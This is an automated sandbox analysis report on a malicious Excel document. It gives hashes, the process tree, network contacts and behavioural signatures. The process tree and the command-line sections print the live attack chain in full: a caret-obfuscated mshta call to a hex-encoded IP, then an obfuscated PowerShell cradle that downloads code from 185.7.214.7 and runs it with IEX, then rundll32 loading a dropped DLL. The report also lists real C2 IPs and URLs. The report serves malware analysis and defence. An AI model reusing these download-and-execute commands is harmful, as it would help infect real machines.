Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Jan. 20, 2022, 9:28 a.m.	Jan. 20, 2022, 9:30 a.m.

Size	141.8KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jan 19 09:31:16 2022, Last Saved Time/Date: Wed Jan 19 09:34:50 2022, Security: 0
MD5	`5be91dbfe71e171c5e33cf97f6e9d018`
SHA256	`29abba18a69d3cb49f791717b497a2fa912ff45b0d6ace68a47acf00c1df2f8b`
CRC32	`5919D005`
ssdeep	`3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\905347967268907.xls
2360
- cmd.exe cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2628
  - mshta.exe mshta http://0xb907d607/fer/fer.html
    2704
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      2844
      - cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        2976
        
        rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        3020
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        3064
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew",cnpNJTlXbqz
        2392
        
        rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew",DllRegisterServer
        2664
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
peterpolz.to-create.eu	A 185.46.123.38	185.46.123.38
fr7.anbo5288.cc	A 128.199.157.63	128.199.157.63

IP Address	Status	Action
103.75.201.2	Active	Moloch
103.8.26.102	Active	Moloch
103.8.26.103	Active	Moloch
104.168.155.129	Active	Moloch
104.251.214.46	Active	Moloch
128.199.157.63	Active	Moloch
131.100.24.231	Active	Moloch
158.69.222.101	Active	Moloch
164.124.101.2	Active	Moloch
178.63.25.185	Active	Moloch
178.79.147.66	Active	Moloch
185.46.123.38	Active	Moloch
185.7.214.7	Active	Moloch
192.254.71.210	Active	Moloch
203.114.109.124	Active	Moloch
207.38.84.195	Active	Moloch
209.59.138.75	Active	Moloch
212.237.17.99	Active	Moloch
217.182.143.207	Active	Moloch
45.118.115.99	Active	Moloch
45.118.135.203	Active	Moloch
45.142.114.231	Active	Moloch
45.176.232.124	Active	Moloch
46.55.222.11	Active	Moloch
51.38.71.0	Active	Moloch
51.68.175.8	Active	Moloch
58.227.42.236	Active	Moloch
79.172.212.216	Active	Moloch
81.0.236.90	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 20, 2022, 9:28 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 20, 2022, 9:28 a.m.			0	0
IsDebuggerPresent Jan. 20, 2022, 9:28 a.m.			0	0
IsDebuggerPresent Jan. 20, 2022, 9:28 a.m.			0	0

Command line console output was observed (3 events)

Time & API	Arguments	Status	Return
WriteConsoleW Jan. 20, 2022, 9:28 a.m.	buffer: IsPublic IsSerial Name BaseType console_handle: 0x0000001b	1	1
WriteConsoleW Jan. 20, 2022, 9:28 a.m.	buffer: True False Process System.ComponentM... console_handle: 0x00000023	1	1
WriteConsoleW Jan. 20, 2022, 9:28 a.m.	buffer: PS C:\Users\test22\Documents> console_handle: 0x0000002b	1	1

Uses Windows APIs to generate a cryptographic key (42 events)

Time & API	Arguments	Status	Return
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eacb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eadb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb230 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ead70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004ea9b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb0b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 20, 2022, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004eb0b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 20, 2022, 9:28 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	Connection to IP address	suspicious_request	GET http://185.7.214.7/fer/fer.html
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.7.214.7/fer/fer.png
suspicious_features	GET method with no useragent header	suspicious_request	GET http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/
suspicious_features	GET method with no useragent header	suspicious_request	GET http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/

Performs some HTTP requests (4 events)

request	GET http://185.7.214.7/fer/fer.html
request	GET http://185.7.214.7/fer/fer.png
request	GET http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/
request	GET http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/

Communication to multiple IPs on high port numbers possibly indicative of a peer-to-peer (P2P) or non-standard command and control protocol (5 events)

ip	103.8.26.102
ip	103.8.26.103
ip	104.168.155.129
ip	209.59.138.75
ip	51.68.175.8

Allocates read-write-execute memory (usually to unpack itself) (50 out of 262 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bd28000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bbf2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b8000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038b9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038ba000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038ba000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038ba000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bc000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bc000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bd000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038bd000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x038be000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2844 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2844 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b311000 process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\Public\Documents\ssd.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	mshta http://0xb907d607/fer/fer.html
cmdline	powershell -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X
